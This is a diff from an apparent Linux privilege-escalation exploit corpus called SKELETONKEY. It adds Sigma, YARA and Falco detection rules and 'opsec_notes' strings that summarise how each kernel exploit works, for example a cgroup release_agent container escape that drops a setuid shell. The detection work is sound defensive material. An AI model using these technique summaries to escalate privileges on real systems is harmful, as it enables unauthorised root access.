<li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CVES.md">CVE inventory</a></li>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/ROADMAP.md">Roadmap</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
<div class="footer-col">
|
||||
<h4>Docs</h4>
|
||||
<ul>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/ARCHITECTURE.md">Architecture</a></li>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/DETECTION_PLAYBOOK.md">Detection playbook</a></li>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/JSON_SCHEMA.md">JSON schema</a></li>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/OFFSETS.md">Offsets</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
<div class="footer-col">
|
||||
<h4>Ethics</h4>
|
||||
<ul>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/ETHICS.md">ETHICS.md</a></li>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/DEFENDERS.md">For defenders</a></li>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CONTRIBUTING.md">Contribute</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
<div class="container footer-bottom">
|
||||
<p>
|
||||
Each module credits the original CVE reporter and PoC author in its
|
||||
<code>NOTICE.md</code>. The research credit belongs to the people
|
||||
who found the bugs.
|
||||
</p>
|
||||
<p>
|
||||
MIT licensed ·
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY">github.com/KaraZajac/SKELETONKEY</a>
|
||||
<p class="footer-meta">
|
||||
v0.9.3 · MIT · <a href="https://github.com/KaraZajac/SKELETONKEY">github.com/KaraZajac/SKELETONKEY</a>
|
||||
</p>
|
||||
</div>
|
||||
</footer>
|
||||
|
||||
<script>
|
||||
function copyInstall(btn) {
|
||||
var cmd = document.getElementById('install-cmd').innerText.replace(/^\$\s*/, '');
|
||||
navigator.clipboard.writeText(cmd).then(function() {
|
||||
btn.textContent = 'copied!';
|
||||
btn.classList.add('copied');
|
||||
setTimeout(function() {
|
||||
btn.textContent = 'copy';
|
||||
btn.classList.remove('copied');
|
||||
}, 1500);
|
||||
});
|
||||
}
|
||||
|
||||
</script>
|
||||
<script src="app.js" defer></script>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
|
||||
BIN
Binary file not shown.
|
After Width: | Height: | Size: 123 KiB |
+85
@@ -0,0 +1,85 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<svg xmlns="http://www.w3.org/2000/svg" width="1200" height="630" viewBox="0 0 1200 630">
|
||||
<defs>
|
||||
<linearGradient id="bg" x1="0" y1="0" x2="1" y2="1">
|
||||
<stop offset="0" stop-color="#07070d"/>
|
||||
<stop offset="1" stop-color="#0c0c16"/>
|
||||
</linearGradient>
|
||||
<linearGradient id="brand" x1="0" y1="0" x2="1" y2="0">
|
||||
<stop offset="0" stop-color="#10b981"/>
|
||||
<stop offset="1" stop-color="#06b6d4"/>
|
||||
</linearGradient>
|
||||
<radialGradient id="glow1" cx="0.2" cy="0.3" r="0.6">
|
||||
<stop offset="0" stop-color="#10b981" stop-opacity="0.18"/>
|
||||
<stop offset="1" stop-color="#10b981" stop-opacity="0"/>
|
||||
</radialGradient>
|
||||
<radialGradient id="glow2" cx="0.85" cy="0.8" r="0.5">
|
||||
<stop offset="0" stop-color="#a855f7" stop-opacity="0.16"/>
|
||||
<stop offset="1" stop-color="#a855f7" stop-opacity="0"/>
|
||||
</radialGradient>
|
||||
</defs>
|
||||
|
||||
<!-- backgrounds -->
|
||||
<rect width="1200" height="630" fill="url(#bg)"/>
|
||||
<rect width="1200" height="630" fill="url(#glow1)"/>
|
||||
<rect width="1200" height="630" fill="url(#glow2)"/>
|
||||
|
||||
<!-- diamond mark -->
|
||||
<g transform="translate(80,140)">
|
||||
<rect x="0" y="0" width="36" height="36" transform="rotate(45 18 18)" fill="url(#brand)"/>
|
||||
</g>
|
||||
|
||||
<!-- wordmark -->
|
||||
<text x="142" y="170" font-family="'Space Grotesk','Inter',sans-serif" font-weight="700" font-size="68" fill="#ecedf7" letter-spacing="-2">
|
||||
SKELETONKEY
|
||||
</text>
|
||||
|
||||
<!-- tagline -->
|
||||
<text x="80" y="240" font-family="'Inter',sans-serif" font-size="30" fill="#c5c5d3" font-weight="500">
|
||||
Curated Linux LPE corpus.
|
||||
</text>
|
||||
<text x="80" y="278" font-family="'Inter',sans-serif" font-size="30" fill="#c5c5d3" font-weight="500">
|
||||
Every year 2016 → 2026. 28 of 34 verified.
|
||||
</text>
|
||||
|
||||
<!-- stat chips -->
|
||||
<g transform="translate(80,360)">
|
||||
<!-- 39 modules -->
|
||||
<rect x="0" y="0" width="190" height="58" rx="29" fill="#161628" stroke="#25253c"/>
|
||||
<text x="28" y="38" font-family="'JetBrains Mono',monospace" font-weight="700" font-size="22" fill="#ecedf7">39</text>
|
||||
<text x="64" y="37" font-family="'Inter',sans-serif" font-size="16" fill="#8a8a9d">modules</text>
|
||||
|
||||
<!-- 28 VM-verified -->
|
||||
<rect x="206" y="0" width="240" height="58" rx="29" fill="#161628" stroke="#10b981" stroke-opacity="0.5"/>
|
||||
<text x="234" y="38" font-family="'JetBrains Mono',monospace" font-weight="700" font-size="22" fill="#34d399">28</text>
|
||||
<text x="270" y="37" font-family="'Inter',sans-serif" font-size="16" fill="#8a8a9d">✓ VM-verified</text>
|
||||
|
||||
<!-- 12 KEV -->
|
||||
<rect x="482" y="0" width="218" height="58" rx="29" fill="#161628" stroke="#ef4444" stroke-opacity="0.4"/>
|
||||
<text x="510" y="38" font-family="'JetBrains Mono',monospace" font-weight="700" font-size="22" fill="#ef4444">12</text>
|
||||
<text x="546" y="37" font-family="'Inter',sans-serif" font-size="16" fill="#8a8a9d">★ in CISA KEV</text>
|
||||
|
||||
<!-- 151 rules -->
|
||||
<rect x="736" y="0" width="232" height="58" rx="29" fill="#161628" stroke="#25253c"/>
|
||||
<text x="764" y="38" font-family="'JetBrains Mono',monospace" font-weight="700" font-size="22" fill="#ecedf7">151</text>
|
||||
<text x="810" y="37" font-family="'Inter',sans-serif" font-size="16" fill="#8a8a9d">detection rules</text>
|
||||
</g>
|
||||
|
||||
<!-- terminal mockup -->
|
||||
<g transform="translate(80,478)">
|
||||
<rect x="0" y="0" width="1040" height="92" rx="12" fill="#0a0a14" stroke="#25253c"/>
|
||||
<!-- bar -->
|
||||
<circle cx="22" cy="22" r="6" fill="#ff5f57"/>
|
||||
<circle cx="42" cy="22" r="6" fill="#febc2e"/>
|
||||
<circle cx="62" cy="22" r="6" fill="#28c840"/>
|
||||
<line x1="0" y1="44" x2="1040" y2="44" stroke="#1c1c2d"/>
|
||||
<text x="24" y="78" font-family="'JetBrains Mono',monospace" font-size="20" fill="#ecedf7">
|
||||
<tspan fill="#10b981">$</tspan> skeletonkey --explain nf_tables <tspan fill="#5b5b75"># operator briefing in one command</tspan>
|
||||
</text>
|
||||
</g>
|
||||
|
||||
<!-- subtle url at very bottom -->
|
||||
<text x="1120" y="610" font-family="'JetBrains Mono',monospace" font-size="14" fill="#5b5b75" text-anchor="end">
|
||||
karazajac.github.io/SKELETONKEY
|
||||
</text>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 4.0 KiB |
+913
-190
File diff suppressed because it is too large
Load Diff
+21
-3
@@ -34,11 +34,29 @@ log() { printf '[\033[1;36m*\033[0m] %s\n' "$*" >&2; }
|
||||
ok() { printf '[\033[1;32m+\033[0m] %s\n' "$*" >&2; }
|
||||
fail() { printf '[\033[1;31m-\033[0m] %s\n' "$*" >&2; exit 1; }
|
||||
|
||||
# Detect architecture
|
||||
# Detect architecture. Default to the musl-static binary on both
|
||||
# x86_64 and arm64 — works on every libc (glibc 2.x of any version,
|
||||
# musl, uclibc); costs ~800 KB extra vs dynamic but eliminates the
|
||||
# GLIBC_2.NN portability ceiling that bites on Debian-stable, older
|
||||
# RHEL hosts, and Alpine. Set SKELETONKEY_DYNAMIC=1 to fetch the
|
||||
# smaller dynamic build (needs glibc >= 2.38 for x86_64 — Ubuntu
|
||||
# 24.04 / Debian 13 / RHEL 10).
|
||||
arch=$(uname -m)
|
||||
case "$arch" in
|
||||
x86_64|amd64) target=x86_64 ;;
|
||||
aarch64|arm64) target=arm64 ;;
|
||||
x86_64|amd64)
|
||||
if [ "${SKELETONKEY_DYNAMIC:-0}" = "1" ]; then
|
||||
target=x86_64
|
||||
else
|
||||
target=x86_64-static
|
||||
fi
|
||||
;;
|
||||
aarch64|arm64)
|
||||
if [ "${SKELETONKEY_DYNAMIC:-0}" = "1" ]; then
|
||||
target=arm64
|
||||
else
|
||||
target=arm64-static
|
||||
fi
|
||||
;;
|
||||
*) fail "Unsupported architecture: $arch (only x86_64 and arm64 currently)" ;;
|
||||
esac
|
||||
log "detected arch: $target"
|
||||
|
||||
@@ -669,6 +669,54 @@ static const char af_packet2_auditd[] =
|
||||
"# non-root via userns is the canonical footprint.\n"
|
||||
"-a always,exit -F arch=b64 -S socket -F a0=17 -k skeletonkey-af-packet\n";
|
||||
|
||||
static const char af_packet2_sigma[] =
|
||||
"title: Possible CVE-2020-14386 AF_PACKET VLAN underflow exploitation\n"
|
||||
"id: b83c6fa2-skeletonkey-af-packet2\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the AF_PACKET TPACKET_V2 nested-VLAN frame pattern:\n"
|
||||
" unshare(CLONE_NEWUSER|CLONE_NEWNET) followed by socket(AF_PACKET),\n"
|
||||
" PACKET_RX_RING setsockopt, and a sendmmsg burst (>=64) on a unix\n"
|
||||
" socketpair spray. False positives: legitimate packet capture in\n"
|
||||
" rootless containers.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" userns: {type: 'SYSCALL', syscall: 'unshare'}\n"
|
||||
" afp: {type: 'SYSCALL', syscall: 'socket', a0: 17}\n"
|
||||
" send_burst:{type: 'SYSCALL', syscall: 'sendmmsg'}\n"
|
||||
" condition: userns and afp and send_burst\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2020.14386]\n";
|
||||
|
||||
static const char af_packet2_yara[] =
|
||||
"rule af_packet2_cve_2020_14386 : cve_2020_14386 heap_spray\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2020-14386\"\n"
|
||||
" description = \"AF_PACKET VLAN-underflow spray tag (skeletonkey-afp-fc-)\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $tag = \"skeletonkey-afp-fc-\" ascii\n"
|
||||
" condition:\n"
|
||||
" $tag\n"
|
||||
"}\n";
|
||||
|
||||
static const char af_packet2_falco[] =
|
||||
"- rule: AF_PACKET TPACKET_V2 nested-VLAN trigger by non-root\n"
|
||||
" desc: |\n"
|
||||
" A non-root process sets up TPACKET_V2 and sends a burst of\n"
|
||||
" sendmmsg packets carrying nested VLAN tags (CVE-2020-14386\n"
|
||||
" trigger). False positives: legitimate VLAN/network capture\n"
|
||||
" tools in unprivileged containers.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = sendmmsg and fd.type = socket and\n"
|
||||
" fd.sockfamily = AF_PACKET and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" sendmmsg burst on AF_PACKET socket by non-root\n"
|
||||
" (user=%user.name pid=%proc.pid vlen=%evt.arg.vlen)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [network, mitre_privilege_escalation, T1068, cve.2020.14386]\n";
|
||||
|
||||
const struct skeletonkey_module af_packet2_module = {
|
||||
.name = "af_packet2",
|
||||
.cve = "CVE-2020-14386",
|
||||
@@ -680,9 +728,11 @@ const struct skeletonkey_module af_packet2_module = {
|
||||
.mitigate = NULL,
|
||||
.cleanup = NULL,
|
||||
.detect_auditd = af_packet2_auditd,
|
||||
.detect_sigma = NULL,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_sigma = af_packet2_sigma,
|
||||
.detect_yara = af_packet2_yara,
|
||||
.detect_falco = af_packet2_falco,
|
||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNET) + TPACKET_V2 ring on AF_PACKET; crafts nested-VLAN ETH_P_8021AD frames with 0x88A8/0x8100 TPIDs to trigger tpacket_rcv underflow; fires 256 frames + 64 sendmmsg via AF_UNIX socketpair spray. Tag 'skeletonkey-afp-fc-' visible in KASAN splats. Audit-visible via socket(AF_PACKET) + sendmsg/sendto from userns. No persistent artifacts; kernel cleans up on child exit.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_af_packet2(void)
|
||||
|
||||
@@ -891,6 +891,55 @@ static const char af_packet_auditd[] =
|
||||
"-a always,exit -F arch=b64 -S socket -F a0=17 -k skeletonkey-af-packet\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-af-packet-userns\n";
|
||||
|
||||
static const char af_packet_sigma[] =
|
||||
"title: Possible CVE-2017-7308 AF_PACKET TPACKET_V3 exploitation\n"
|
||||
"id: a72b5e91-skeletonkey-af-packet\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the AF_PACKET TPACKET_V3 integer-overflow setup pattern:\n"
|
||||
" unshare(CLONE_NEWUSER|CLONE_NEWNET) followed by socket(AF_PACKET)\n"
|
||||
" and a PACKET_RX_RING setsockopt + sendmmsg burst. False positives:\n"
|
||||
" network sandboxes / containers running raw-packet apps inside\n"
|
||||
" userns; correlate process tree to distinguish.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" userns: {type: 'SYSCALL', syscall: 'unshare'}\n"
|
||||
" afp: {type: 'SYSCALL', syscall: 'socket', a0: 17}\n"
|
||||
" send_burst:{type: 'SYSCALL', syscall: 'sendmmsg'}\n"
|
||||
" condition: userns and afp and send_burst\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2017.7308]\n";
|
||||
|
||||
static const char af_packet_yara[] =
|
||||
"rule af_packet_cve_2017_7308 : cve_2017_7308 heap_spray\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2017-7308\"\n"
|
||||
" description = \"AF_PACKET TPACKET_V3 spray tag from skeletonkey/iam-root tooling\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $tag1 = \"iamroot-afp-tag\" ascii\n"
|
||||
" $tag2 = \"skeletonkey-afp-fc-\" ascii\n"
|
||||
" condition:\n"
|
||||
" any of them\n"
|
||||
"}\n";
|
||||
|
||||
static const char af_packet_falco[] =
|
||||
"- rule: AF_PACKET TPACKET_V3 setup by non-root in userns\n"
|
||||
" desc: |\n"
|
||||
" A non-root process creates an AF_PACKET socket and sets up a\n"
|
||||
" TPACKET_V3 ring inside a user namespace. CVE-2017-7308 trigger\n"
|
||||
" requires CAP_NET_RAW which userns provides. False positives:\n"
|
||||
" legitimate packet-capture tools running rootless (rare).\n"
|
||||
" condition: >\n"
|
||||
" evt.type = setsockopt and evt.arg.optname contains PACKET_RX_RING\n"
|
||||
" and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" AF_PACKET TPACKET_V3 ring setup by non-root\n"
|
||||
" (user=%user.name proc=%proc.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [network, mitre_privilege_escalation, T1068, cve.2017.7308]\n";
|
||||
|
||||
const struct skeletonkey_module af_packet_module = {
|
||||
.name = "af_packet",
|
||||
.cve = "CVE-2017-7308",
|
||||
@@ -902,9 +951,11 @@ const struct skeletonkey_module af_packet_module = {
|
||||
.mitigate = NULL,
|
||||
.cleanup = NULL,
|
||||
.detect_auditd = af_packet_auditd,
|
||||
.detect_sigma = NULL,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_sigma = af_packet_sigma,
|
||||
.detect_yara = af_packet_yara,
|
||||
.detect_falco = af_packet_falco,
|
||||
.opsec_notes = "Creates AF_PACKET socket and TPACKET_V3 ring inside unshare(CLONE_NEWUSER|CLONE_NEWNET); triggers integer overflow with crafted tp_block_size/tp_block_nr and sprays ~200 loopback frames. Audit-visible via socket(AF_PACKET) (a0=17) + sendmmsg from a userns process; KASAN tag 'iamroot-afp-tag' may appear in dmesg if enabled. No persistent files. No cleanup callback - kernel state unwinds on child exit.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_af_packet(void)
|
||||
|
||||
@@ -105,6 +105,7 @@ static const struct kernel_patched_from af_unix_gc_patched_branches[] = {
|
||||
{5, 10, 197},
|
||||
{5, 15, 130},
|
||||
{6, 1, 51}, /* 6.1 LTS */
|
||||
{6, 4, 13}, /* 6.4.x stable (per Debian tracker — forky/sid/trixie) */
|
||||
{6, 5, 0}, /* mainline fix landed in 6.5 (technically 6.6-rc1
|
||||
but stable 6.5.x carries the patch) */
|
||||
};
|
||||
@@ -832,6 +833,56 @@ static const char af_unix_gc_auditd[] =
|
||||
"-a always,exit -F arch=b64 -S sendmsg -k skeletonkey-afunixgc-sendmsg\n"
|
||||
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-afunixgc-spray\n";
|
||||
|
||||
static const char af_unix_gc_sigma[] =
|
||||
"title: Possible CVE-2023-4622 AF_UNIX GC UAF race\n"
|
||||
"id: c45d7eb3-skeletonkey-af-unix-gc\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects tight-loop socketpair(AF_UNIX) + sendmsg with SCM_RIGHTS\n"
|
||||
" + msgsnd grooming pattern characteristic of the AF_UNIX garbage\n"
|
||||
" collector race. False positives: legitimate IPC apps use\n"
|
||||
" SCM_RIGHTS, but the high-frequency close-and-recreate cycle is\n"
|
||||
" unusual outside fuzzing / exploit harnesses.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" sp: {type: 'SYSCALL', syscall: 'socketpair', a0: 1}\n"
|
||||
" scm: {type: 'SYSCALL', syscall: 'sendmsg'}\n"
|
||||
" groom: {type: 'SYSCALL', syscall: 'msgsnd'}\n"
|
||||
" condition: sp and scm and groom\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2023.4622]\n";
|
||||
|
||||
static const char af_unix_gc_yara[] =
|
||||
"rule af_unix_gc_cve_2023_4622 : cve_2023_4622 kernel_uaf\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2023-4622\"\n"
|
||||
" description = \"AF_UNIX GC race kmalloc-512 spray tag or log breadcrumb\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $tag = \"SKELETONKEYU\" ascii\n"
|
||||
" $log = \"/tmp/skeletonkey-af_unix_gc.log\" ascii\n"
|
||||
" condition:\n"
|
||||
" any of them\n"
|
||||
"}\n";
|
||||
|
||||
static const char af_unix_gc_falco[] =
|
||||
"- rule: SCM_RIGHTS cycling on AF_UNIX with msg_msg groom\n"
|
||||
" desc: |\n"
|
||||
" Tight socketpair(AF_UNIX) + sendmsg(SCM_RIGHTS) + msgsnd\n"
|
||||
" pattern characteristic of the AF_UNIX garbage collector\n"
|
||||
" race (CVE-2023-4622). False positives: IPC libraries use\n"
|
||||
" SCM_RIGHTS legitimately but rarely with the close-and-\n"
|
||||
" recreate cycle at this frequency.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = sendmsg and fd.sockfamily = AF_UNIX and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" SCM_RIGHTS sendmsg on AF_UNIX by non-root\n"
|
||||
" (user=%user.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [ipc, mitre_privilege_escalation, T1068, cve.2023.4622]\n";
|
||||
|
||||
const struct skeletonkey_module af_unix_gc_module = {
|
||||
.name = "af_unix_gc",
|
||||
.cve = "CVE-2023-4622",
|
||||
@@ -843,9 +894,11 @@ const struct skeletonkey_module af_unix_gc_module = {
|
||||
.mitigate = NULL,
|
||||
.cleanup = af_unix_gc_cleanup,
|
||||
.detect_auditd = af_unix_gc_auditd,
|
||||
.detect_sigma = NULL,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_sigma = af_unix_gc_sigma,
|
||||
.detect_yara = af_unix_gc_yara,
|
||||
.detect_falco = af_unix_gc_falco,
|
||||
.opsec_notes = "Two-threaded race: Thread A creates socketpair(AF_UNIX) with SCM_RIGHTS cycle then close; Thread B drives independent SCM_RIGHTS traffic on a held pair. ~5s budget (30s with --full-chain). msg_msg kmalloc-512 spray tagged 'SKELETONKEYU'. Writes /tmp/skeletonkey-af_unix_gc.log with empirical stats. Audit-visible via socketpair(AF_UNIX) + sendmsg(SCM_RIGHTS) + msgsnd triple. Dmesg may show UAF KASAN if kernel vulnerable. Cleanup callback unlinks the log.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_af_unix_gc(void)
|
||||
|
||||
@@ -359,6 +359,36 @@ static const char cgroup_ra_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1611, cve.2022.0492]\n";
|
||||
|
||||
static const char cgroup_release_agent_yara[] =
|
||||
"rule cgroup_release_agent_cve_2022_0492 : cve_2022_0492 container_escape\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2022-0492\"\n"
|
||||
" description = \"cgroup v1 release_agent payload + dropped setuid shell artifacts\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $payload = \"/tmp/skeletonkey-cgroup-payload.sh\" ascii\n"
|
||||
" $shell = \"/tmp/skeletonkey-cgroup-sh\" ascii\n"
|
||||
" $mnt = \"/tmp/skeletonkey-cgroup-mnt\" ascii\n"
|
||||
" condition:\n"
|
||||
" any of them\n"
|
||||
"}\n";
|
||||
|
||||
static const char cgroup_release_agent_falco[] =
|
||||
"- rule: cgroup v1 mount by non-root with release_agent write\n"
|
||||
" desc: |\n"
|
||||
" A non-root process inside a userns mounts cgroup v1 and\n"
|
||||
" writes to a release_agent file. CVE-2022-0492 trigger:\n"
|
||||
" release_agent runs as init-ns root when cgroup empties.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = mount and evt.arg.fstype = cgroup and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" cgroup v1 mount by non-root\n"
|
||||
" (user=%user.name pid=%proc.pid target=%evt.arg.name)\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [container, mitre_privilege_escalation, T1611, cve.2022.0492]\n";
|
||||
|
||||
const struct skeletonkey_module cgroup_release_agent_module = {
|
||||
.name = "cgroup_release_agent",
|
||||
.cve = "CVE-2022-0492",
|
||||
@@ -371,8 +401,10 @@ const struct skeletonkey_module cgroup_release_agent_module = {
|
||||
.cleanup = cgroup_ra_cleanup,
|
||||
.detect_auditd = cgroup_ra_auditd,
|
||||
.detect_sigma = cgroup_ra_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = cgroup_release_agent_yara,
|
||||
.detect_falco = cgroup_release_agent_falco,
|
||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNS), mount cgroup v1 at /tmp/skeletonkey-cgroup-mnt, write payload path to release_agent file at cgroup root, echo 1 to notify_on_release in subdir, add PID to cgroup.procs and exit. Payload at /tmp/skeletonkey-cgroup-payload.sh runs as init-namespace root when cgroup empties, dropping setuid /tmp/skeletonkey-cgroup-sh. Audit-visible via unshare + mount(cgroup) + open/write of release_agent. Cleanup callback removes /tmp/skeletonkey-cgroup-* and umounts.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_cgroup_release_agent(void)
|
||||
|
||||
@@ -826,6 +826,54 @@ static const char cls_route4_auditd[] =
|
||||
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-cls-route4-userns\n"
|
||||
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-cls-route4-spray\n";
|
||||
|
||||
static const char cls_route4_sigma[] =
|
||||
"title: Possible CVE-2022-2588 cls_route4 dead-UAF\n"
|
||||
"id: d56e8fc4-skeletonkey-cls-route4\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the net/sched cls_route4 dead-UAF setup: unshare userns +\n"
|
||||
" netns + tc qdisc/filter rules with handle 0 + delete + msg_msg\n"
|
||||
" spray + UDP sendto on a dummy interface. False positives:\n"
|
||||
" traffic-shaping config in rootless containers.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" userns: {type: 'SYSCALL', syscall: 'unshare'}\n"
|
||||
" udp: {type: 'SYSCALL', syscall: 'sendto'}\n"
|
||||
" groom: {type: 'SYSCALL', syscall: 'msgsnd'}\n"
|
||||
" condition: userns and udp and groom\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2022.2588]\n";
|
||||
|
||||
static const char cls_route4_yara[] =
|
||||
"rule cls_route4_cve_2022_2588 : cve_2022_2588 kernel_uaf\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2022-2588\"\n"
|
||||
" description = \"cls_route4 dead-UAF kmalloc-1k spray tag and log breadcrumb\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $tag = \"SKELETONKEY4\" ascii\n"
|
||||
" $log = \"/tmp/skeletonkey-cls_route4.log\" ascii\n"
|
||||
" condition:\n"
|
||||
" any of them\n"
|
||||
"}\n";
|
||||
|
||||
static const char cls_route4_falco[] =
|
||||
"- rule: tc route4 filter manipulation by non-root in userns\n"
|
||||
" desc: |\n"
|
||||
" Non-root tc qdisc + route4 filter add/delete inside a userns\n"
|
||||
" + UDP sendto trigger. CVE-2022-2588 dead-UAF pattern. False\n"
|
||||
" positives: legitimate traffic shaping inside rootless\n"
|
||||
" containers.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = sendto and fd.sockfamily = AF_INET and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" UDP sendto on dummy iface from non-root\n"
|
||||
" (user=%user.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [network, mitre_privilege_escalation, T1068, cve.2022.2588]\n";
|
||||
|
||||
const struct skeletonkey_module cls_route4_module = {
|
||||
.name = "cls_route4",
|
||||
.cve = "CVE-2022-2588",
|
||||
@@ -837,9 +885,11 @@ const struct skeletonkey_module cls_route4_module = {
|
||||
.mitigate = NULL, /* mitigation: blacklist cls_route4 module OR disable user_ns */
|
||||
.cleanup = cls_route4_cleanup,
|
||||
.detect_auditd = cls_route4_auditd,
|
||||
.detect_sigma = NULL,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_sigma = cls_route4_sigma,
|
||||
.detect_yara = cls_route4_yara,
|
||||
.detect_falco = cls_route4_falco,
|
||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNET); ip link/addr/route to make a dummy interface, htb qdisc + class + route4 filter with handle 0, delete filter (leaves dangling tcf_proto pointer), msg_msg spray kmalloc-1k tagged 'SKELETONKEY4', UDP sendto to trigger classify(). Writes /tmp/skeletonkey-cls_route4.log. Audit-visible via unshare + sendto(AF_INET) + msgsnd. Cleanup callback removes /tmp log + dummy interface.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_cls_route4(void)
|
||||
|
||||
@@ -157,6 +157,82 @@ static const char copy_fail_family_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.31431, cve.2026.43284, cve.2026.43500]\n";
|
||||
|
||||
/* YARA + Falco rules shared across the 5 family modules. Scanned via
|
||||
* --detect-rules; the dispatcher dedups by pointer so the rule blob
|
||||
* emits once even though copy_fail / copy_fail_gcm / dirty_frag_*
|
||||
* all point at the same string. */
|
||||
static const char copy_fail_family_yara[] =
|
||||
"rule etc_passwd_uid_flip : page_cache_write\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2026-31431 / CVE-2026-43284 / CVE-2026-43500\"\n"
|
||||
" description = \"/etc/passwd page-cache UID flip: a non-root user line shows a zero-padded UID (the canonical Copy Fail / Dirty Frag / DirtyDecrypt / Dirty Pipe payload). Scan /etc/passwd; legitimate root uses plain '0:', never '0000:'.\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" // lowercase-start username, optional shadow ('x') password, then UID 0000 or longer\n"
|
||||
" $uid_flip = /\\n[a-z_][a-z0-9_-]{0,30}:[^:]{0,8}:0{4,}:[0-9]+:/\n"
|
||||
" condition:\n"
|
||||
" $uid_flip\n"
|
||||
"}\n"
|
||||
"\n"
|
||||
"rule etc_passwd_root_no_password\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2026-31635 (DirtyDecrypt sliding-window write)\"\n"
|
||||
" description = \"/etc/passwd root entry rewritten to have an empty password field — the DirtyDecrypt PoC's intermediate corruption (rewrite root's password to empty, then `su root` without password).\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
